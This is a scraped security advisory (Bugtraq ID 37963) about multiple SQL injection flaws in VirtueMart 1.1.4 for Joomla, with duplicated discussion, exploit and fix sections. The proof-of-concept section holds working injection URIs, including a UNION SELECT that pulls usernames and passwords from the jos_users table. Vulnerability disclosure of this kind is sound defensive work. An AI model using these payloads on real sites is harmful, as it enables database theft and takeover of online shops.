VirtueMart Multiple SQL Injection Vulnerabilities
BID:37963
Info
VirtueMart Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 37963 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 27 2010 12:00AM |
| Updated: | Jan 28 2010 04:11PM |
| Credit: | B-HUNT3|2 |
| Vulnerable: |
VirtueMart VirtueMart 1.1.4 |
| Not Vulnerable: | |
Discussion
VirtueMart Multiple SQL Injection Vulnerabilities
VirtueMart is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
VirtueMart is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
VirtueMart Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/[JOOMLA_PATH]/administrator/index.php?page=order.order_status_form&limitstart=0&keyword=&order_status_id=[SQL]&option=com_virtuemart
http://www.example.com/[JOOMLA_PATH]/administrator/index.php?page=order.order_status_form&limitstart=0&keyword=&order_status_id=-1%27+UNION+ALL+SELECT+1,username,password,@@version,database%28%29,6+FROM+jos_users%23&option=com_virtuemart
http://www.example.com/[JOOMLA_PATH]/1%27%20union%20all%20select%20@@version
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/[JOOMLA_PATH]/administrator/index.php?page=order.order_status_form&limitstart=0&keyword=&order_status_id=[SQL]&option=com_virtuemart
http://www.example.com/[JOOMLA_PATH]/administrator/index.php?page=order.order_status_form&limitstart=0&keyword=&order_status_id=-1%27+UNION+ALL+SELECT+1,username,password,@@version,database%28%29,6+FROM+jos_users%23&option=com_virtuemart
http://www.example.com/[JOOMLA_PATH]/1%27%20union%20all%20select%20@@version
Solution / Fix
VirtueMart Multiple SQL Injection Vulnerabilities
Solution:
Updates are available in the vendor's SVN repository.
Solution:
Updates are available in the vendor's SVN repository.